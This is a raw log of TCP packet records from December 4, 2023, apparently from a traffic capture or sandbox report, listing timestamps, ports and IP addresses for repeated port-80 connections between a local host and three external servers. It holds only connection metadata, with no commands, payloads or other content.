Dec 4, 2023 12:33:29.200830936 CET	49769	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:29.201000929 CET	49769	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:29.377213955 CET	80	49769	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:29.377305031 CET	80	49769	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:29.377371073 CET	80	49769	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:29.377492905 CET	49769	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:29.377588987 CET	49769	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:29.377985954 CET	49765	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:29.378531933 CET	49770	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:29.554713964 CET	80	49765	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:29.554817915 CET	49765	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:29.557476044 CET	80	49770	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:29.557558060 CET	49770	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:29.557858944 CET	49770	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:29.737180948 CET	80	49770	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:29.737205982 CET	80	49770	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:29.737329960 CET	49770	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:29.952800035 CET	49771	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:30.139096975 CET	80	49771	88.198.29.97	192.168.2.6
Dec 4, 2023 12:33:30.139218092 CET	49771	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:30.146756887 CET	49771	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:30.161498070 CET	49772	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:30.333070040 CET	80	49771	88.198.29.97	192.168.2.6
Dec 4, 2023 12:33:30.333195925 CET	49771	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:30.339271069 CET	80	49772	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:30.339988947 CET	49772	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:30.353255987 CET	49772	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:30.530781031 CET	80	49772	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:30.530802965 CET	80	49772	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:30.530962944 CET	80	49772	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:30.532131910 CET	49772	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:30.532383919 CET	49772	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:30.538853884 CET	49770	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:30.539448977 CET	49773	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:30.718168020 CET	80	49770	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:30.718306065 CET	49770	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:30.721461058 CET	80	49773	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:30.721645117 CET	49773	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:30.721865892 CET	49773	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:30.903834105 CET	80	49773	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:30.903862000 CET	80	49773	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:30.903959990 CET	49773	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:33.483918905 CET	49774	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:33.671176910 CET	80	49774	88.198.29.97	192.168.2.6
Dec 4, 2023 12:33:33.671257019 CET	49774	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:33.671380997 CET	49774	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:33.772552013 CET	49775	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:33.858455896 CET	80	49774	88.198.29.97	192.168.2.6
Dec 4, 2023 12:33:33.858556032 CET	49774	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:33.954976082 CET	80	49775	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:33.955158949 CET	49775	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:33.962385893 CET	49775	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:34.145245075 CET	80	49775	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:34.145297050 CET	80	49775	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:34.145384073 CET	80	49775	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:34.145451069 CET	49775	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:34.145495892 CET	49775	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:34.145783901 CET	49773	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:34.146322012 CET	49776	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:34.326965094 CET	80	49776	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:34.327088118 CET	49776	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:34.327367067 CET	49776	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:34.327663898 CET	80	49773	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:34.327714920 CET	49773	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:34.508024931 CET	80	49776	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:34.508075953 CET	80	49776	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:34.508147955 CET	49776	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:34.718836069 CET	49777	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:34.904787064 CET	80	49777	88.198.29.97	192.168.2.6
Dec 4, 2023 12:33:34.904943943 CET	49777	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:34.915442944 CET	49777	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:35.102308035 CET	80	49777	88.198.29.97	192.168.2.6
Dec 4, 2023 12:33:35.102394104 CET	49777	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:35.208048105 CET	49778	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:35.389503002 CET	80	49778	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:35.389658928 CET	49778	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:35.389812946 CET	49778	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:35.570245981 CET	80	49778	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:35.570411921 CET	80	49778	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:35.570425987 CET	80	49778	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:35.570528984 CET	49778	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:35.570633888 CET	49778	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:35.579461098 CET	49776	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:35.579977989 CET	49779	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:35.759258032 CET	80	49779	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:35.759378910 CET	49779	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:35.760263920 CET	80	49776	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:35.760320902 CET	49779	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:35.760334015 CET	49776	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:35.939546108 CET	80	49779	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:35.939568043 CET	80	49779	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:35.939639091 CET	49779	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:37.442377090 CET	49780	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:37.632663012 CET	80	49780	88.198.29.97	192.168.2.6
Dec 4, 2023 12:33:37.632781982 CET	49780	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:37.633049965 CET	49780	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:37.820005894 CET	80	49780	88.198.29.97	192.168.2.6
Dec 4, 2023 12:33:37.820075989 CET	49780	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:38.185415030 CET	49781	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:38.367594004 CET	80	49781	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:38.367677927 CET	49781	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:38.367927074 CET	49781	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:38.550914049 CET	80	49781	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:38.550976038 CET	80	49781	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:38.551016092 CET	80	49781	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:38.551105976 CET	49781	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:38.551232100 CET	49781	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:38.563659906 CET	49779	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:38.564578056 CET	49782	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:38.742737055 CET	80	49782	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:38.742882967 CET	80	49779	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:38.742914915 CET	49782	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:38.742949009 CET	49779	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:38.744424105 CET	49782	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:38.924910069 CET	80	49782	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:38.924971104 CET	80	49782	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:38.925081968 CET	49782	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:39.468225002 CET	49783	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:33:39.626916885 CET	80	49783	64.70.19.203	192.168.2.6
Dec 4, 2023 12:33:39.627022028 CET	49783	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:33:39.627165079 CET	49783	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:33:39.785811901 CET	80	49783	64.70.19.203	192.168.2.6
Dec 4, 2023 12:33:39.785888910 CET	49783	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:33:39.919182062 CET	49784	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:40.102237940 CET	80	49784	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:40.102521896 CET	49784	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:40.161221981 CET	49784	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:40.343281984 CET	80	49784	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:40.343311071 CET	80	49784	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:40.343425989 CET	80	49784	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:40.343499899 CET	49784	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:40.343580961 CET	49784	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:40.344013929 CET	49782	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:40.345269918 CET	49785	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:40.522012949 CET	80	49782	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:40.522104979 CET	49782	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:40.526819944 CET	80	49785	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:40.526930094 CET	49785	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:40.527652025 CET	49785	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:40.709250927 CET	80	49785	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:40.709275961 CET	80	49785	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:40.709342957 CET	49785	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:49.354782104 CET	49789	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:33:49.513521910 CET	80	49789	64.70.19.203	192.168.2.6
Dec 4, 2023 12:33:49.513685942 CET	49789	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:33:49.594105005 CET	49789	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:33:49.753089905 CET	80	49789	64.70.19.203	192.168.2.6
Dec 4, 2023 12:33:49.753216028 CET	49789	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:33:49.887268066 CET	49790	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:50.067955971 CET	80	49790	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:50.068075895 CET	49790	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:50.068248987 CET	49790	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:50.248888016 CET	80	49790	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:50.248951912 CET	80	49790	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:50.249005079 CET	80	49790	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:50.249151945 CET	49790	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:50.249593973 CET	49790	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:50.263592958 CET	49785	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:50.265518904 CET	49791	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:50.445094109 CET	80	49791	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:50.445249081 CET	49791	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:50.445420027 CET	80	49785	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:50.445951939 CET	49791	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:50.448759079 CET	49785	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:50.625129938 CET	80	49791	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:50.625195026 CET	80	49791	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:50.625272989 CET	49791	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:54.489129066 CET	49792	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:54.675340891 CET	80	49792	88.198.29.97	192.168.2.6
Dec 4, 2023 12:33:54.675417900 CET	49792	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:54.675519943 CET	49792	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:54.861576080 CET	80	49792	88.198.29.97	192.168.2.6
Dec 4, 2023 12:33:54.861732960 CET	49792	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:33:55.171727896 CET	49793	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:55.355649948 CET	80	49793	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:55.355743885 CET	49793	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:55.355916977 CET	49793	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:55.539580107 CET	80	49793	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:55.539643049 CET	80	49793	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:55.539680958 CET	80	49793	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:55.539747000 CET	49793	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:55.539871931 CET	49793	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:55.553486109 CET	49791	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:55.553842068 CET	49794	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:55.733288050 CET	80	49791	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:55.733426094 CET	49791	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:55.734638929 CET	80	49794	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:55.734759092 CET	49794	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:55.735197067 CET	49794	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:55.916682959 CET	80	49794	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:55.916759014 CET	80	49794	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:55.916841030 CET	49794	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:57.281949043 CET	49795	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:33:57.440598965 CET	80	49795	64.70.19.203	192.168.2.6
Dec 4, 2023 12:33:57.440675020 CET	49795	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:33:57.440843105 CET	49795	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:33:57.599591017 CET	80	49795	64.70.19.203	192.168.2.6
Dec 4, 2023 12:33:57.599678993 CET	49795	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:33:57.638617992 CET	49796	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:57.817285061 CET	80	49796	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:57.817428112 CET	49796	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:57.817583084 CET	49796	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:57.995853901 CET	80	49796	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:57.995878935 CET	80	49796	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:57.995965958 CET	80	49796	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:57.996032000 CET	49796	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:57.996411085 CET	49796	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:58.009711981 CET	49794	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:58.010512114 CET	49797	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:58.188131094 CET	80	49797	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:58.188270092 CET	49797	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:58.188922882 CET	49797	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:58.190752983 CET	80	49794	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:58.190840960 CET	49794	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:33:58.366725922 CET	80	49797	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:58.366789103 CET	80	49797	167.99.35.88	192.168.2.6
Dec 4, 2023 12:33:58.366899014 CET	49797	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:03.328947067 CET	49798	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:34:03.516139984 CET	80	49798	88.198.29.97	192.168.2.6
Dec 4, 2023 12:34:03.516372919 CET	49798	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:34:03.516434908 CET	49798	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:34:03.703382015 CET	80	49798	88.198.29.97	192.168.2.6
Dec 4, 2023 12:34:03.703548908 CET	49798	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:34:04.156920910 CET	49799	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:04.334969997 CET	80	49799	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:04.335163116 CET	49799	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:04.335302114 CET	49799	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:04.512981892 CET	80	49799	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:04.513014078 CET	80	49799	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:04.513052940 CET	80	49799	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:04.513207912 CET	49799	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:04.513207912 CET	49799	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:04.522608995 CET	49797	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:04.523138046 CET	49800	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:04.700217962 CET	80	49797	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:04.700324059 CET	49797	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:04.705462933 CET	80	49800	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:04.705571890 CET	49800	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:04.705941916 CET	49800	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:04.888170004 CET	80	49800	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:04.888228893 CET	80	49800	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:04.888335943 CET	49800	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:09.062031984 CET	49801	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:34:09.248281956 CET	80	49801	88.198.29.97	192.168.2.6
Dec 4, 2023 12:34:09.248383045 CET	49801	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:34:09.248543978 CET	49801	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:34:09.434609890 CET	80	49801	88.198.29.97	192.168.2.6
Dec 4, 2023 12:34:09.434709072 CET	49801	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:34:09.535193920 CET	49802	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:09.717936993 CET	80	49802	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:09.718033075 CET	49802	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:09.718194008 CET	49802	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:09.900716066 CET	80	49802	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:09.900779009 CET	80	49802	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:09.900790930 CET	80	49802	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:09.900871992 CET	49802	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:09.901118994 CET	49802	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:09.908791065 CET	49800	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:09.909589052 CET	49803	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:10.087038040 CET	80	49803	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:10.087116003 CET	49803	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:10.087534904 CET	49803	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:10.091120958 CET	80	49800	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:10.091186047 CET	49800	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:10.265126944 CET	80	49803	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:10.265286922 CET	80	49803	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:10.265351057 CET	49803	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:10.651170015 CET	49804	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:34:10.837403059 CET	80	49804	88.198.29.97	192.168.2.6
Dec 4, 2023 12:34:10.837532997 CET	49804	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:34:10.837675095 CET	49804	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:34:10.969252110 CET	49805	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:11.024086952 CET	80	49804	88.198.29.97	192.168.2.6
Dec 4, 2023 12:34:11.024270058 CET	49804	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:34:11.152964115 CET	80	49805	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:11.153201103 CET	49805	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:11.153249025 CET	49805	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:11.337024927 CET	80	49805	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:11.337093115 CET	80	49805	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:11.337129116 CET	80	49805	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:11.337188959 CET	49805	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:11.337240934 CET	49805	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:11.338444948 CET	49803	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:11.338979959 CET	49806	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:11.515722990 CET	80	49806	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:11.515824080 CET	49806	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:11.515995026 CET	80	49803	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:11.516057968 CET	49803	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:11.516275883 CET	49806	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:11.693160057 CET	80	49806	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:11.693203926 CET	80	49806	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:11.693300962 CET	49806	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:18.588324070 CET	49806	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:18.764893055 CET	80	49806	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:18.765007973 CET	49806	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:20.095616102 CET	49808	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:34:20.254244089 CET	80	49808	64.70.19.203	192.168.2.6
Dec 4, 2023 12:34:20.254344940 CET	49808	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:34:20.254534006 CET	49808	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:34:20.413816929 CET	80	49808	64.70.19.203	192.168.2.6
Dec 4, 2023 12:34:20.414052010 CET	49808	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:34:20.739072084 CET	49809	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:20.921484947 CET	80	49809	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:20.921577930 CET	49809	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:20.931032896 CET	49809	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:21.113599062 CET	80	49809	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:21.113624096 CET	80	49809	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:21.113676071 CET	80	49809	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:21.113744020 CET	49809	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:21.113868952 CET	49809	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:21.592143059 CET	49810	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:21.774331093 CET	80	49810	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:21.774468899 CET	49810	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:21.775373936 CET	49810	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:21.957511902 CET	80	49810	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:21.957639933 CET	80	49810	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:21.957705975 CET	49810	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:23.110557079 CET	49811	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:34:23.296710968 CET	80	49811	88.198.29.97	192.168.2.6
Dec 4, 2023 12:34:23.296849012 CET	49811	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:34:24.563911915 CET	49811	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:34:24.693459034 CET	49812	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:24.750585079 CET	80	49811	88.198.29.97	192.168.2.6
Dec 4, 2023 12:34:24.750798941 CET	49811	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:34:24.877085924 CET	80	49812	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:24.877283096 CET	49812	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:24.877573967 CET	49812	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:25.061151028 CET	80	49812	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:25.061269999 CET	80	49812	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:25.061306953 CET	80	49812	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:25.061486959 CET	49812	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:25.061522007 CET	49812	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:25.062012911 CET	49810	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:25.064565897 CET	49813	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:25.244056940 CET	80	49810	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:25.244124889 CET	49810	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:25.245850086 CET	80	49813	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:25.245976925 CET	49813	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:25.246606112 CET	49813	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:25.427390099 CET	80	49813	167.99.35.88	192.168.2.6
